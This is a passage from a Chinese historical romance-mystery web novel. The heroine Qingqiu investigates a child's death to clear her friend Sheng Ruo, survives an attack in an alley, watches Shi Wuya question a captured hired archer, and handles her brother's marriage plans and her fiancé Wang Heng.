难怪她总觉杨淮蔺温柔缱绻的目光不属于她,原是这样 清秋不便多留,告辞离开。 杨淮蔺临窗撑着窗沿,凉薄的月光落在他身上,添几分寂寥寒意。 两年来,令他魂牵梦萦的那道身影,曾站在他身边,他竟未认得出。 长街小雨,佳人在侧,他赠她云纹伞,想来付清岁是认出了他。 —— 清秋飞快离开酒楼,她本欲和杨淮蔺直说,可转念一想,这些又岂是三言两语能说得清的,更何况杨淮蔺认错已久,恐难以说清,唯有叫他亲眼瞧见方才晓得。 这一耽搁,就误了她与云露相约的时辰。 云露在马行街的第二条药铺巷子后等了好一会,约莫戌时一刻,才见有人来,清秋搭眼一瞧便见云露,忙拉过她的手往巷子深处去。 二人避开熙熙攘攘的街道,拐进黑森的空巷,云露还未开口,便清秋先道。 “你可问到了什么?”清秋急切问道。 她在杨淮蔺身上当误的时间太多,以至于她不曾走访这条街,若是云露没问着,她便再去打探打探。 云露道:“问到了姑娘,只是那大夫前些日子好像搬离了马行街,走得急,这两日那医馆也与了别人。” 这一听便是有鬼,否则为何舍弃大好的家业。 清秋疑道:“你可知是那家医馆的大夫?他一人走的还是拖家带口走的?” 云露咬唇,为难道:“姑娘时间紧,我打听了那大夫先前在盛家住了一段时日,算来恰好是张小娘子生产的日子,后又留了几日才放出来,别的事我未来得及问。” “姑娘,天色不早了,先回去吧,若是回去晚了,夫人要担心的。”云露悄声说着。 清秋眸光忽沉,暗想那大夫定然晓得些什么,此事往小了说是为盛婼的名声,可那死了的孩子又何其无辜,那也是活生生的一条命,借孩子的命栽赃别人,实在可恨。 “云露,你回宅里去,告诉母亲我今日住在将军府,要陪着盛姐姐,明日我再回去。”清秋转身欲走,云露眼疾手快拦住清秋。 “姑娘,姑娘,不急着这一日啊,倘使你出了什么事我如何和夫人交代,万万不可,姑娘别再以身犯险了,明日我们再去不可吗?”云露急红了眼,这夜里鱼龙混杂,谁知会不会有拐子。 虽说是天子脚下,却也最容易出事的地方,云露不肯放手,又道:“姑娘要去就带着我,我要跟着姑娘。” 第52章 权宜之计还是真心实意 清秋被她攥住了手腕, 见她这般,她垂眸道:“你若不回去,母亲定要人来寻, 云露, 我有自个儿的打算, 你多拦我,我就少一分胜算,那人便趁夜出城门了, 谁又找得到。” 正因时间紧,她更要早些拿住人, 只她一人好似确实吃力。 思及此, 清秋忙改口道:“你若不肯回去,去找师无涯,不不, 去寻二哥哥,再不济就去寻中郎将。” 总得有个人在她身边护得住她才好。 闻言, 云露点点头,“姑娘那大夫住在马行街西街的第二条长巷子,今日有人瞧见他们在搬行李, 姑娘若要先去, 定要小心些。” 清秋颔首,随即分头行动,月夜下二人没入人潮, 各奔东西。 那大夫是盛家小郎丧命的关键,他若跑了,盛婼的事便无人再知,只怕要担上这个罪名了。 长月如钩, 照进熙熙攘攘的长街巷尾。 清秋脚下生风,只一盏茶的功夫便跑到那条巷子,这条街来往之人少了许多,两间药铺中间有一道长巷,巷口泛着零星光亮,可往里瞧去却是漆黑一片。 “糖葫芦咯——卖糖葫芦咯,林家糖葫芦,不甜不要钱——” 清秋回身望向几个过路的小贩,见还有人在,心中腾起几分孤勇,她若不去,便无人为盛婼再寻这个公道。 想到此处,清秋小步往里去,便走便瞧,小巷极窄,只五尺宽。 清秋走得慢,因戴着幂篱行动格外小心,越往离去,越黑,看不见尽头,点点月光洒在巷口,辨不清眼前路。 幂篱本就挡着一层光,此时小巷幽暗,更是一点无光。 清秋摘下幂篱,略微瞧见一点光亮,好在不远处有了些许火光,瞧着像是云露所说的那大夫的家。 还未等清秋靠近,身前就传来阵阵沉重的脚步声,那声音听起来像是练武的人,小巷寂静,兼有回声,清秋听得格外清晰。 清秋不敢乱动,心乱如麻地站定,小心翼翼地往后退,不远处的火光逐渐明亮,逐渐点亮她所处的地方。 银光印着火光从清秋眼前闪过,凌冽刀光犹如霜雪落在她夏日的肌肤之上,冷得人心肺僵硬。 清秋稳住急促的呼吸,仍往后退去,只要她足够小心便能全身而退。 疾风骤起,吹起零落的枝叶,穿过小巷时刮起别样的风声,幂篱纱帘飘扬而起。 手握银刀的壮汉,凶恶的眸子一转,望向黑寂的小巷。 “是谁那儿?”他扬声吼道,全然不怕有人听见。 见那人发现,清秋弃了幂篱,转身狂奔,飞快往巷口奔去,不过几十步的小巷,如今看来像是走不完的长街。 清秋不敢停,不敢回头,她已闻到刀上的血腥气,不必想也知是为杀人而来,为了杀那大夫,毁灭罪证。 证据都断了,她也要丧命了,清秋只盼着能跑出小巷,又或是云露能带着人出现。 身后脚步声越来越近,清秋的心卡在喉咙,吊着一口气,全身绷紧,若是那银刀落在身上,恐怕会鲜血直流。 “跑什么!”壮汉高举银刀,扬声笑道。 清秋力竭,如今又听那人离她不过一尺,只一个跨步便追上了,索性站在原地。刚想认命,清秋又觉不该如此,于是回身见银刀要落。 银刀破空挥落,清秋忙侧过身紧贴着墙,额间冒出涔涔冷汗,两人挤在小巷。 清秋见银刀挥空,忙开口道:“好汉,为何要杀我?” 壮汉身子一愣,眉头紧皱,心道是啊,为什么要杀她。 “为什么不杀你?再说你看见我杀人了,你是不是要去报官?”壮汉比她高出一大截,清秋贴着墙往外悄悄移步。 “杀人?杀什么人?我方才是走错了地儿,几时看见好汉杀人了?若是真杀人了,想来也是好汉报仇雪恨,是那户人家自找苦吃,作了孽。”清秋眸光盈盈,唇边含笑,心下早已朝那大夫赔了千遍罪。 壮汉头一遭听这话,不由得笑道:“你唬我的吧,爷爷这么大什么没见过,阿谀奉承的话也听过不少,你这话说得真有意思,再说些我听听。” 清秋咽了咽喉,挤出生涩的笑,眉眼弯弯地道:“我想好汉定然没有个妹妹,不若认我当作妹妹,此后你我二人行侠仗义,杀尽天下仇人,如何?” 语罢,清秋忽地顿住往外去的步子,顺势拍拍胸脯,一脸正气的模样。 壮汉眉头皱得更深,黑沉沉的眼睛斥满疑惑。 “妹妹?有何用?你一看就是个小姑娘,还闯江湖呢,几斤几两也不瞧瞧。”壮汉收起银刀,擦干血,斜觑清秋一眼。 “不过看你身子挺弱的,又瘦得和小鸟一样,可怜巴拉的,走吧走吧。”壮汉嫌弃地摆摆手。 清秋眸光一转,笑问:“好汉姓甚名谁?日后我见着哥哥如何称呼?” “刘禄。”刘禄转身往小巷深处去。 清秋微眯着眼,细细描摹他的身影,又默默记下他的名姓,倘使他杀了大夫定然是受人指使,这背后之人,恐怕就是真正的凶手。 清秋心下揣摩,良久才回过神。 只刚回过神,就觉身后有什么响动,仿佛是布料的摩擦声,脚步轻盈,在向她一步步靠近。 清秋凝眉不动,才送走一个,又来一个? 深静的小巷,令人簌簌发麻的风声,引得清秋心再度跳得快起来,极其细微的崩裂声,就在身后的不远处。 崩弦声传出,一道极其清晰的箭风传来,她身后的人朝她射出一箭。 “快蹲下!” 两道声音交叠在一处,清秋凭着一点意志堪堪跌倒,这才躲过了利箭。 清秋颤颤抬眸,黑寂的小巷里走出高大的身影,那身影极为相熟,清秋见过他,就在方才。 刘禄竟去而折返,清秋喉头发紧,道不出一句话。 清秋正发愣,身后又有人巷口高墙上有人一跃而放,朝她在靠近,但好似又有人挡住巷口吹来的冷风。 刘禄嗓音粗粝,扬声喊道:“过来。” 前后无路,清秋想起方才刘禄的一番言语,万般无奈之下,若想保命,只得信一信他。 思及此,清秋颤颤巍巍地起身,因恐惧后怕,她身子不受使唤地颤抖,只刚站起一半却又要跌下去。 双腿乏力的那瞬,清秋本就悬着的心倏然腾空,只觉前后无望。 还未等她跌倒,身后却有人伸臂捞了她一把,只手将她径直揽起,清秋愕然抬眼,浑身颤栗,回首望去。 月光银辉下,他左眼下一棵红痣尤其明显,眉眼散漫,见着她的那瞬又腾起没由来的悲戚。 “师无涯,你怎么在这儿?”清秋支起身,往后退两步,重重磕在墙上。 师无涯直勾勾地盯着她,却并未同她解释,而是倏然抬手,唬得清秋以为师无涯要对她动武。 一支利箭,破空而来,师无涯空手攥住长箭,瞳眸因剧烈的疼痛颤抖不已。 清秋恍然回神,那箭离她那样近,还好是落在师无涯手上,否则她就要因此丧命了。 刘禄见清秋身侧有人,便不再多留,趁着月色消失在空寂的巷口。 师无涯反手将箭扔回去,远处持箭的黑衣人,见形势不妙,忙收箭离去,清秋听见急促的脚步声便知那人要跑。 “师无涯,快抓住他!”清秋望向巷口,只见一团黑夜拐出小巷。 师无涯疑了片刻,听她如此说,脚下生风,奔着那黑衣人追去,清秋亦不敢再在此处停留,三两步快速跑出小巷。 西街上的人都已散了,只余空灯,冷清不少。 清秋四下张望,不知师无涯和那黑衣人跑到哪里去了。 回想起小巷中的那一幕,清秋总觉刘禄并非买凶杀人,若是江湖浪客定然是杀人就走,刘禄却还打算回来救她。 而她身后的那个黑衣人仿佛才是真的买凶杀人,夜行衣,面罩,长弓,似与两年在保神观行凶的黑衣人极为相似。 清秋站在空无一人的长街,一时不知是该回宅还是去寻盛婼,她在原地愣了愣,朝东西两面望了望。 思来想去,清秋只觉回家不妥,还是先去将军府。 清秋往马行街西街去,只刚踏出一步,就听一阵脚步声,还伴着呼唤声。 “姑娘!姑娘——” 云露提着裙裾,连喊好几声,她跑得急,又因说话,累得上气不接下气。 付高越朗声唤道:“清秋!” 清秋闻声回头,见付高越来,心头惶恐倏然散开,她快步奔至付高越身前,眼底蓄起薄薄泪意。 “二哥哥你来得不巧,那贼人已跑了,”清秋理清思绪,将心中所想一并道出,“那贼人我猜与背后动手脚的人脱不了干系,我本欲查那大夫,那大夫已死,如今只有从那贼人下手。” 清秋思忖道:“这些都只是些次要,若要彻查,恐怕还得进盛宅,只是我如何能名正言顺的进去” 付高越轻拍清秋的肩,惋惜道:“清秋,你为盛三姑娘做得已经足够多了,我有别的法子,不需如此费力,省去许多麻烦事。” 清秋仰头,眸光忽沉,疑道:“你有什么办法?有什么法子能绕开,到底是盛姐姐的名声,倘若因此引得盛姐姐日后不好嫁人——” 说及此,清秋猛地停住,眉头轻蹙,对付高越所说的法子已有几分笃定。 月华如水,犹如轻纱落下,落在付高越英挺俊逸的眉眼,付高越看出妹妹的神情变化,揉揉她的头,轻笑出声。 “清秋,你觉得这样不好吗?”付高越反问她。 清秋摇头道:“没什么好与不好,只是这并非你和盛姐姐情愿,何必勉强,况且这法子凶险,二哥哥若是真的喜欢盛姐姐倒也罢了,那你可有问过盛姐姐的意愿。” 付高越眉梢轻扬,眸光明亮,笑道:“我情愿她嫁给我,至于旁的,我尚未想好,你代我问问她好吗。” “二哥哥,你打算娶盛姐姐,是权宜之计还是真心实意?”清秋问道。 付高越笑意不减,沉声道:“都不是。” 清秋垂眸凝思,若是付高越娶盛婼,那便是将盛婼彻底带离盛家,盛家顾及着付家的几分薄面,自然会顺理成章的将她嫁出去,更何况盛家与付家各自为政,盛家巴不得和太子党划清界限。 如此一来,张丽娘就算想闹,也没有再闹的余地,只得将这件事打碎了往肚子里咽。 “二哥哥此事不妥,我定能还盛姐姐清白,若以婚嫁为柄,反失了道理,待我将此事弄清楚,二哥哥你再去盛姐姐也成。”清秋抿唇,为难道。 第53章 “师无涯,你应不应?”…… 付高越未将此事挑明, 见清秋执意要查明,他也不多阻拦,只是他所做的决定无甚利害关系。 他若能娶盛婼, 那这便是最快的法子, 付家清流书香人家, 怎会娶一个品行不端的女子,况且此人还是有着善妒骄纵之名的盛三姑娘。 付高越默许清秋继续查下去,三人都未曾回府, 而是转头去了将军府。 何彬命女使收拾厢房,清秋同云露先行一步, 付高越被何彬留下。 明月高照, 秋风寒凉,再不过不久就要入冬了,她与王恒的婚期也该定下来了。 清秋睡不下, 独自坐在窗前向外望,盛婼的事她还没底, 眼下最为要紧的就是去查清黑衣人的来历。 思及此,清秋蹙眉轻叹,也不知师无涯有没有捉到那人。 子夜时分, 夜风抖落满地枯叶, 清秋仍无睡意,便起身到院外坐了会,不过一盏茶的功夫, 就觉冷得很,正欲回屋,却见有人在屋檐上飞驰。 清秋坐在院中挑眉望去,她目力不佳, 时常瞧不见远物,如今有人敢在将军府的房檐上乱窜,恐怕也没几个。 “付二姑娘,你要的那人,我已捉住。”师无涯跃下房梁,闲庭漫步地朝她走去。 清秋不以为意,眸光扫视一圈,见他身无伤痕,心下讶然,只是她面上仍旧冷然。 “多谢师将军,我想向他问些话。”清秋淡声道。 师无涯负手而立,垂眸看她,拧眉道:“你是什么人都要审?以身犯险,付二姑娘这恐怕不是第一次了,你若有要问的,交由我去问便是。” 清秋凛然蹙眉,嗔道:“此话何意?你懂什么,你知道我要问什么?” 师无涯沉声道:“那些人受人之托,拿钱办事,亡命之徒,你一个闺阁里养大的千金小姐哪里就需要你去问了。” 清秋冷哼一声,别过眼,冷道:“师将军说得对,世上只有将军是无所不能的,你拿住了人,我谢你,我以酬金相谢,你把人给我。” 清秋本不愿和师无涯置气,谁知不过几句话,就激得她心火旺。 “师将军,你拿住那人恐怕也是无用,不如这样,你我各退一步,师将军去审他,我只呆在一旁,可行?”清秋压下心头火气,平声静气地道。 话落,师无涯静了半晌,迟迟未开口。 清秋也不急,毕竟那人留在他身上,本也无用,若师无涯要放,她便请人再将他捉回来,到时人在她手上,还有什么是问不出的。 这事能做到的又不是只有师无涯。 清秋微微仰头,轻笑道:“师无涯,你应不应?” “我应,”师无涯眸光忽闪,薄唇微抿,“我在巷子里救了你,又替你拿住了人,你如何谢我,若是以酬金相谢,那便不必再同我说。” 清秋不以为意,挑眉道:“你想要什么,直说就是,绕弯子作甚。” “我如今还未想好,你先应我,我再应你。”师无涯见她踟蹰,心下落寞,又退一步道:“并非什么伤天害理,杀人放火要你退婚的事——” “不过你愿意退婚的——” “师无涯,慎言,我不会退婚,只这件事我不能应你。”清秋淡声道,“除却这件事,旁的事我能应你,明日就带我去见。” 话音甫落,清秋转身回屋,师无涯箭步上前,拦在她身前,垂眸盯着她。 “没有别的话,要对我说吗?”师无涯轻声问她,目光因他的举动添上几分柔软。 清秋退后半步,唇边含笑,抬眸道:“没有了,我能同你说的话,在杭州时就已说完,你还想听些什么?” “还是你觉得,我应该对你说些什么?师无涯你太高看自己了,当年我说的每一个字,每一句话都是真心的。” 师无涯漆黑的眼眸中倒映着清秋清凌凌的眼神,分明是同一个人,却和当年全然不同,他明明想与她好好说些话,可一到她面前却又觉得应当是清秋先对他开口。 他凝神看着她,见她如此清倔,心头忽地一哽,只觉有个地方被破开口子,那道口子被秋风贯穿而过,吹得全身僵冷。 前十二年里,总是清秋追在他身前,一遍又一遍地唤他“无涯哥哥”,她不厌其烦,乐此不疲地追了十二年,从前那么容易得到的东西,到如今怎么就这样为难。 他似是习惯了,而今竟有种求而不得的痛感。 “付二姑娘,我已想好你要答应我的事了。”师无涯眉眼散漫,长睫低垂,掩下所有惆怅。 “天时不早了,师将军翻墙的习惯还是改改吧,我累了明日我会在将军府前等你。”语罢,清秋关上房门。 师无涯无言以对,愣在原地,看着清秋的背影。 —— 次日一早,清秋候在将军府门前,师无涯等候多时,见她戴着幂篱出门,忙上去迎,清秋跟在他身后。 将军府与师无涯府邸只一墙之隔,他所住的这座府邸是官家赐下的,外头瞧着宽大豪横,可里头却冷冷清清,清秋随他一道往里去都不见一个女使。 “你当真要亲自审?”师无涯柴房的门,目光担忧,似在劝说她再考虑考虑。 清秋拍开他的手,“我什么没见过,几度生死危难都挺过来了,师将军莫不是忘了?我可忘不掉。” 清秋暗暗想自己的前半生,好像并不顺遂,几度生死,求而不得,好在都过去了,如今往前看,便是最好的。 至于师无涯心中所想,与她已毫无干系。 师无涯眉头轻蹙,他还想说些什么,却见清秋推门而入,进门是一座屏风,宽大的屏风挡住那黑衣人的视线。 “这是何意?”清秋打量着屏风。 师无涯道:“你没见过审问人的手段,若你问,恐怕要和他耗上一辈子,不妨让我问,你就站在屏风后,不至于污了你的眼睛。” 闻讯犯人这一块,清秋着实不了解,但见屏风后有一火炭,墙上又挂着些许银器,想来是师无涯提前准备的。 只是在自家的宅院,准备这些作甚。 师无涯已做足了准备,清秋见好就收,点头道:“先问他是为何而来,受谁的命令。” 师无涯知她要查盛家的事,先前他已有些眉目,只是尚不清晰,如今抓着这黑衣人还能拷打一二。 “行,付二姑娘。”师无涯会意,越过屏风,从架子上挑了个趁手的刑具。 “先问我方才要问的事,我听了之后你再问,师无涯你听清楚了吗?”清秋摘下幂篱,透过雪白的屏风看着二人。 师无涯手上转着一把短刀,短刀锋利,布有尖刺,他朝着那人靠近,步伐稍缓,他这样淡定闲逸的神情,更比那些气势汹涌之人更为可怖。 黑衣人眯着眼,撑着一口气,觑了眼屏风后的人,他认出那人就是在巷口坏事的女子,但却无法杀了他。 “我问你些事,你只如实回,可保下一条命,”师无涯目光从他的头顶划至脚底,勾唇笑道,“若是不要这条命,我有的是办法让你开口。” “落到你这样的人手里,还有什么好说的。”黑衣人黝黑的瞳眸转了转,看见他右手上的绢布,蓦地回想起前日夜里师无涯徒手接箭的场景。 不管出于何种原因,能有这种胆量的人,都是少数,倘使手上力道不够,只会叫利箭穿手而过,费力不讨好。 黑衣人唇瓣干裂,眼皮耷拉,思量许久,他道:“我只是拿人钱财,替人消灾,前日我本想趁着那大夫搬家之际,在城外悄无声息地射杀他,谁知被人抢先一步,我去时就看到她。” 他朝清秋所站之处扬了扬下巴,随后又长舒一口气,似是卸下负担。 清秋厉声问:“那人是谁?” “不认得,是个小童来递的信儿,没见着背后的人,给了我二十两银子,叫我杀了那个庸医,并在事成之后再给我三十两。”黑衣人回忆道。 师无涯眸光微沉,问道:“那小童你可认识?他从何方来?穿着如何?” 清秋心中亦有别的要问,见师无涯开口,她只得沉住气。 倘若黑衣人口中问不出什么,那就全断了,剩下唯一的门路就是进盛家,盛家里头的人,总比外头的人晓得的多。 可要进盛家打探,她如何进去,派人去又总觉不尽心。 黑衣人垂眸,想了半天,最终摇摇头,“不记得了,我还没拿到事后的三十两,不过今日亥时一刻,在马行街西街巷尾的那棵老榕树下会有人来送。” 清秋垂眸沉思片刻,出声道:“师无涯,你出来。” 师无涯将手中短刀扔至火炉,随她一道出去,现下已过辰时,离亥时还有好几个时辰。 清秋并不觉得送钱来的那个人会是幕后黑手,既然请人时找的小童,那送钱时恐怕也是借他人之手。 秋日天高气爽,府中松柏常青,添足生气,较之前院有生机得多。 清秋凝神,问道:“他方才说的有几分真假?” 师无涯站在她身后,目光平和,沉声道:“七八分,你若想晓得,就去那棵老榕树下看看,但不一定是那人来,往后查下去或许会很难。” 清秋垂眸,心下烦乱,她怎么会不知道查下去会很难,往小了说,这本不是什么大事,只是闺秀善妒,可往大了说,又是一条人命。 这些都只是幌子,她要查,只是因为盛婼牵连其中。 汴京世家贵族的后院里死的人多了去了,摊上官司的通通都被掩了下来,这桩事只看盛家如何,盛家若要舍盛婼,也要顾着盛家其他姑娘的名声,可盛佯要打死她以证清白家风,那就是将盛婼逼上绝路。 第54章 “你就这样利用我?”…… 清秋不敢拿盛婼去赌, 只得先将人擒出来,死马当活马医。 “我知道这件事不容易,你既然已经答应帮我, 那就辛苦师郎君夜里去跑一趟了。”清秋放软声音, 眸光和缓几分。 师无涯眸光微沉, 似笑非笑:“你就这样利用我?” “师郎君不去,我便换个人,总有的是法子, 自是这个人在你这儿省了许多麻烦事,怎么师郎君是不愿意了?”清秋反问道。 她说得理直气壮, 师无涯一时间无言反驳, 眉头深蹙,终了,说了句:“你且回府等着, 有了消息我会来寻你。” 师无涯与她错身而过,带起一阵急风, 清秋余光看他。 “下回还请师郎君走正门,后院不是你想来就来的地方。”清秋提醒道。 师无涯箭步离开,清秋不知他是否听到。 因盛婼的事, 清秋已有两日未曾归家, 她怕韦氏忧心,忙回将军府寻云露,云露同付高越在盛婼房中。 清秋向盛婼请辞, 顺道将付高越也辞了,谁知她话音刚落,便听付高越轻咳两声,随即开口。 “我这两日住在将军府上, 我与广威将军在军中本住在一处,你如今回宅,替我向母亲报个平安,别叫她担心。”付高越时不时地扫向盛婼。 盛婼今日心绪稍好些,面颊红润,气色好了许多。 清秋眸光一凛,直直盯着付高越,最终只是抿唇轻笑,道:“二哥哥放心,我会与母亲说清,盛姐姐保重身体,切莫忧思,会好的。” 见清秋要走,付高越几度启唇,欲言又止,犹豫半晌,他扬声道:“你将绿柳带回杏院罢,我在扬州救她本是因人命珍贵,况她又是自小与我们一道长大的,这些事不必叫她放在心上。” 闻言,清秋顿了顿,垂眸道:“知道了,二哥哥这些话还得你亲自与她说才好。” 语毕,清秋与云露一道赶回付宅,从将军府回付宅约莫半个时辰,清秋途径酒楼,没忍住去买了些猫食与果子点心。 果子点心是为吕汀英所准备的,她虽身子好些了,却是嘴馋得很,偏生又被付远衡管得紧,先前央她好几回。 清秋自然也怵她这个哥哥,不敢答应嫂嫂,如今借着给母亲送吃食的名义顺道捎点给吕汀英,谅他付远衡也不能说什么。 从马行街回西大街,清秋一折腾就到了未时,云露兴致不错,东走西逛,手上提了好些东西。 清秋在马车上休憩一阵,听着马车轱辘碾过长街,不多时便倏然停顿。 “姑娘姑娘?”云露小声唤道,见清秋没应,拔高了声又继续喊。 清秋被她这声吓得陡然惊醒,引得她心口直跳。 “姑娘魇住了?”云露面色含忧,目光停在清秋捂着胸口的手上。 当真是被云露说中了,清秋方才梦到师无涯在亥时被砍得鲜血直流,口内不停地喊着她的名字,像是索她命的恶鬼。 清秋定了定神,擦干手心冷汗,掀开幕帘。 幕帘掀开一角,马车内照进一寸天光,帘外有人迎风玉立,月白长袍,玉冠墨发,似在等人。 “常也?” 清秋瞳眸微怔,忙起身下马车,见他在此,不由得奇道:“常也,你在等我?为何不叫观墨与我捎个信来。” 王恒缓缓回过神,垂眸凝视她,良久,他朝她近一步,展臂抱住他,墨香萦绕在清秋鼻尖,温热的胸膛,驱散方才心头的寒意。 这会她忽地想起在杭州旧宅的夜里,王恒也这样抱过她,清秋略微踮脚,环抱住他,轻拍他的后背。 “常也,可是发生了什么,与我说说。”清秋温声问道。 王恒是个内敛的人,平素温和有礼,从不显山露水,可如今他竟然在大庭广众之下拥她入怀。 所幸付宅不在街巷闹市,这一条街多住官宦人家,少有人来,若有人来必是结交走访的贵人,就是见着了也不会多嘴。 “没什么,观墨来府上寻过你,我知你近日在为盛家的事奔波,便想来问问你可有眉目了,这事艰难,想来不易,恐你累了。” 王恒贪恋她身上的片刻温柔,不肯松手,仍由清秋轻抚他的后背。 清秋下颚磕在王恒肩上,艰难道:“倒没什么,只是常也你是如何晓得的?莫非此事已传开了?” “没。” “那你是如何知道的?”清秋眉头轻蹙,狐疑道。 王恒知她在将军无甚奇怪,可他是怎么知道她在查盛家的事,难道王恒在暗中监视她? 此念头一生,清秋心下惶恐,直将这个念头压下,她不信王恒会如此待她。 她不能对王恒种下怀疑的种子,眼前人是她未来的夫君,夫唱妇随,自是一体,一旦生疑,便会像是决堤的河水,后患无穷。 “并不难。”王恒并不细说,将话绕开。 “清秋,你定好婚期了吗,我母亲定了下聘的日子,本欲去青山寺问空绝大师选个良辰吉日,可我总觉不妥,便想来问你,谁知你不在府上。”王恒顿了顿,复又轻声道。 “只你选的日子都是良辰吉日,清秋,过两日我再来问你可好,近来我走不开身,公务繁多,前些日子又听你病了,我未能在你身边,抱歉” 清秋喉间生涩,听王恒一股脑说了这么些话,心头淌过一阵暖流。 “常也,我很好,亦不必担忧我,你若得空就来看我,若是不得空,便我来看你,这无甚关系,我虽病了,你也要保重身子。”清秋眉眼温柔,唇边含笑。 二人抱了好半晌,羞得云露和观墨各自背过身,王恒不舍地松手,目光温和。 清秋微微仰首,理好王恒鬓边冒出的碎发,“这些日子你虽不在,但我却想了很多,我总有许多话想对你说,可到你面前却也说不出口了。” 王恒唇瓣轻弯,道:“不妨事,日后慢慢说,且将一切都定下来,我便安心。” 清秋知道王恒在担忧什么,便柔声道:“常也,我不会反悔,我愿意嫁给你是真心的。” 闻言,王恒倏然垂眸,眼底闪过一丝悲凉。 清秋的话或许不是假的,可他却不想听这句,来日方长,他想总有一日能等到清秋对她说出那句话。 “天凉多添衣,你的手都凉得像冰。”王恒叮嘱道。 “哪有?”清秋缩回手,仰头望着他,笑道:“常也,你好似瘦了,近来忙的话,我会来看你的,只是我得先将盛姐姐的事查明白。” 王恒眉眼生出愁绪,犹豫半晌,道:“清秋,盛家的事能否先放一放,将我们的婚期先定下来。” 清秋道:“我今日会想好的,常也别为这事担心。” 王恒见她意志坚决,不愿与她只说,盛婼的事并不是这么简单,这只是太子和二大王之间的开端。 倘若有人敢接下盛婼便是明晃晃的与二大王为敌,如今有何彬护着盛婼,是她最好的去处,可清秋当真破了这桩事,就是要盛婼回到盛家,在二大王看去,只会是付家在与他作对。 虽说付家本就向着太子,可也不曾将话拿到明面上,如此以来,清秋只会惹祸上身。 王恒面露难色,思索许久,道:“清秋,你若要去查明白,遇到难事了,便来寻我。” 清秋颔首,目送王恒离去。 只刚回付宅不久,付高越就来杏院寻她,只是清秋在正房陪着韦南风说话,两人敲定婚期,明日命人送到国公府。 清秋见韦南风困乏,只说了会话便退了出来,回杏院路上正巧碰上付高越,他支开云露,引清秋到清净处说话。 付高越直言不讳,说明来意,“清秋,帮我同母亲说说和盛婼的亲事可好?” 清秋蹙眉道:“二哥哥,你在说什么胡话呢,同母亲说也太唐突了,我不是说了,等我查到了在做定夺嘛。” 付高越摇摇头,为难道:“清秋,别再查了,就这样让盛婼嫁到付家,是最好的法子,你明白吗。我已和母亲说了这件事,只是母亲——” 在清秋回来之前,付高越略微提了一嘴,谁知韦南风冷哼一声,让李妈妈将他撵了出去,叫他想明白了再来见她。 付高越不愿见清秋再查下去,况且后宅的阴私不在少数,盛婼有这一劫只是因她是盛家和何家的女儿,她夹在中间,自然就成了党争的牺牲品。 就算清秋还了盛婼的清白,盛婼在盛家也无处可去,末了,付高越仍旧决定娶她,这是最好的决定,更何况他是愿意娶盛婼的。 抛去一切,他想娶盛婼,只是这恰好又是最好的法子。 “二哥哥没求过你什么,清秋帮我一回,就这一回。”付高越低声乞求。 清秋从未从付高越的眼中见过如此失意的眼神,往日他落榜都未曾这样,付高越此举不止是要娶盛婼,更是要她收手。 “二哥哥,容我想想好吗。”清秋垂眸沉思,盛婼的事就要这样不明不白的结束了。 付高越双手摁在清秋肩上,一字一句地道:“清秋,世上的事,并不是非黑即白,查不查已不要紧,如今你替我劝劝母亲,让她请人去盛家提亲,可以吗。” 清秋思量许久,终是应了付高越。 是夜。 清秋用过饭后留在正房陪着韦南风说话,吕汀英因要照顾团圆,并未留下,正房内只她们二人。 灯火翩然,映照正房榻上的人影。 韦南风微颓着背,鬓角生出些许银发丝,她侧目看清秋,清秋手中捧着一本诗集,久久未翻页。 “清秋,你在想什么?”韦南风问道。 清秋眸光微动,放下书卷,迟疑道:“母亲觉得盛姐姐是个什么样的姑娘?” 此话一出,韦南风便知清秋葫芦里买的什么药,可又舍不得对清秋发怒,只淡声道:“我不晓得,你与她私交甚密,我从未过问,只因你喜欢她,这倒没什么,有家风门楣替你撑着,可你二哥哥不同,他若是娶她,难免招惹非议,再说那盛家是什么人家,全汴京都避而远之。” “就是我愿意,你问问你爹能答应吗,你们也别想从我这儿撬开关节,高越越发的任性了,亲事虽没个着落,也不能乱来不是,他要娶个清白人家的姑娘,我何至于撵他出去。” 语罢,韦南风长舒一口气,又侧目看了眼清秋。 清秋心知韦南风的顾虑,可她答应了哥哥,至少得在韦南风面前多说些好话。 “我与盛姐姐相交,是因盛姐姐人品好,性子直爽,绝非她人口中的跋扈任性,母亲我与盛姐姐相识已久,母亲不信别人,总得信我不是?”清秋诚恳道。 韦南风摇头,叹道:“清秋,我是绝不会让高越娶这样的一个姑娘,名声在外总是有因由的,倘若她真是个好姑娘,就不会有这些风声。” 韦南风丝毫不松口,清秋心下明了,若要说通韦氏恐怕是要磨上一阵,可那是来不及的。 清秋绕开这话,另起话头,见韦南风高兴,清秋面上轻笑,为韦南风斟茶倒水。 韦南风拉过清秋的手,感慨道:“你如今也许了人家,性子又好,母亲心里欢喜,趁着出嫁前多在我身边陪陪我,往后要回家可就难了。” 清秋眸中含泪,轻轻颔首,韦南风今日说的话太多,午间又未睡,故而早早的歇下了,清秋服侍韦南风就寝,见着母亲睡下才离去。 白日里她已叫云露回杏院,这会夜里无人替她提灯,李妈妈正欲提灯送她,清秋忙摆手。 “李妈妈,我自个儿回去就成,在家里还能走丢不成?”清秋笑道。 李妈妈道:“那姑娘路上小心,提着灯好走些。” 清秋接过灯,只身一人回杏院,深秋已过,夜风透着寒气,吹进袖口格外的冷。 院中有石灯燃着,清秋看得清晰,她走至廊下,忽地想去棠院瞧瞧,她在棠院顿住脚,往里走去。 自付清岁嫁人,这棠院就空了出来,已许久未有人来过,棠树下架着秋千,清秋指腹划过秋千的绳索,麻绳割手又有断裂的迹象,清秋不敢多动,怕弄坏了。 这秋千是师无涯在付清岁十七岁送她的,那时是清秋想要一架秋千,师无涯却转手送了付清岁。 而师无涯送她的生辰礼到如今都还封在那红木匣子里。 不过她对那生辰礼,生出了几分好奇。 清秋并未在棠院多留,不多时便回了杏院,只刚踏进院子,便见青梅树下立着一人,因要入冬,青梅树也开始凋零,落下不少枯叶。 师无涯长身玉立,手中捏着一封信,穿着绀色云纹劲装,月光落在他肩上掩不住他周身的散漫。 清秋无甚奇怪,她虽和师无涯说要走正门,但却明白师无涯没那么好说话。 他这个人向来如此,别人的话从不听,更别说她的了。 第55章 “清秋,你是不是恨我。”…… 月色溶溶, 冷风绕枝,洒落满地清辉。 清秋提着灯缓缓走向他,轻声道:“不必再查那人了。” 师无涯对她的转变似乎并不意外, 他只是颔首, 清秋问他:“虽说如此, 答应你的事仍然作数,你要什么?” 清秋微微仰头,清凌凌的目光不含一丝情意, 与这夜风一样凉,师无涯不动声色地深吸口气, 凝神思量许久。 “你看看信。”师无涯修长的食指和中指夹着那封薄薄的信, 上头只有四个字“清秋亲启”四个字。 清秋挑眉,并不接,反问:“这里头是什么?” 